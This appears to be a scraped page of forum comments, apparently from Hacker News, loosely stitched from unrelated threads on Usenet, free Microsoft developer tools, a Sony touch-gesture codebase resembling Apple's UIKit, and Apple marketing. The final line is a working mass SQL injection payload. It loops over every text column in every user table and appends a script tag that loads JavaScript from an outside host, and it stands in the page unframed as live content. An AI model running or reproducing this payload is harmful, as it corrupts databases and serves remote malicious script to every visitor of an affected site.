The rants are still there. They just moved. Or did Usenet influence its users into writing thoughtful rants in ways that blogs and agregators don't? I never used Usenet, but this seems unlikely.
VS 2010 is free if you sign up for their webspark program http://microsoft.com/web/websitespark/ -- so is MS Windows Server 2008, SQL Server, etc. Look, I'm no MS proponent. I'm an independent developer and I use all platforms, all tools, all languages. If you fellas watch the news, this URL is kinda like the Fox News of Apple fan-boi-ism. Fair & Balanced...it is not...tiresome...bah, let the downvotes begin.
You can download application and device driver SDKs which come with command line C++ compilers at no charge. Pretty much the same compilers MS uses to build the OS itself and its own products.
There's also a no charge "express edition" of the IDE, but it was heavily crippled last time I checked.
Pretty obvious that whoever was working on that was mostly trying to reverse engineer UIKit vs. update GNUStep for touch. There are even commented out lines that are what would be output by class-dump.
I wonder if the straight reverse engineering/possible decompiling is why it was pulled so fast. Also, it's subtle, but there is a reason Apple didnt simply graft touch onto AppKit like this project is/was attempting.
I didn't see that at all. The gesture recognition stuff all looks written from scratch and the integration code doesn't match anything from UIKit. There are thousands of lines of code added by Sony with only a few commented out sections, mostly well-commented code also. The only thing I could see that remotely looks like what you are talking about is this
// Adding and removing targets and actions
//- (void)addTarget:(id)targetaction:(SEL)action;
//- (void)removeTarget:(id)targetaction:(SEL)action;
// Adding and removing targets and actions
/***
- (void)addTarget:(id)targetaction:(SEL)action
{
}
- (void)removeTarget:(id)targetaction:(SEL)action
{
}
***/
This is an unused interface in SNGestureRecognizer. The name of one of the methods, addTarget, is the same as something from UIKit's UIControl. It's hardly a smoking gun, as it is unused and doesn't even match the method signature of the one from UIKit:
It's certainly not the result of a reverse engineering dump. If anything, Sony engineers thought for a second that they would mimic UIKit's interfaces and then quickly scrapped the idea. The other commented regions look like you might expect from a normal codebase:
/*** Cannot assume touches will come simultaneously
// Not a valid pan if # of touches on view doesn't match
if ([touches count] != numberOfTouchesRequired ||
//[_view touchCount] != numberOfTouchesRequired)
[_hitTestedView touchCount] != numberOfTouchesRequired)
{
if (_state == SNGestureRecognizerStatePossible)
[self changeState: SNGestureRecognizerStateFailed];
else
[self changeState: SNGestureRecognizerStateCancelled];
return;
}
***/
I believe dizm was referring to the header and class interface, not the source. The header is more or less ripped directly from UIKit, with some puzzling additions. What is the point of adding a "vulture" without also adding an "obstacle", for example? It seems like these methods should be private, not exposed in the public header.
SNTouch.m is one example with stubbed out class-dump methods.
The naming in every place that it can is lifted directly from UIKit, and then their changes use different naming conventions. For example the new instance variables in NSView.h.
Where were the new instance variables in NSView.h copied from? I've been comparing them to class-dumps ( http://code.google.com/p/iphone-dev/source/browse/#svn/trunk... ) of Apple's code and I don't see anything like what you are describing. Care to show some examples?
This is so offbase, that I'm not sure where to begin. Every iPod ad. The FaceTime ads, at the end of all recent Steve Jobs keynote. Apple is trying to promote their philosophy and vision constantly.
No, it's not. I see you've got brand nursing out of marketing agencies and genuine talks by Steve Jobs confused. Which makes sense, it worked.
I was referring to how before he was ousted and just after he returned he was talking very differently, more passion, genuine. Sure, related concepts to branding they have now, but related only via high concept. Something changed along the way. Take it as you will - it's just a subjective perception anyways.
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.suppadw.com/b.js></script>''');''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
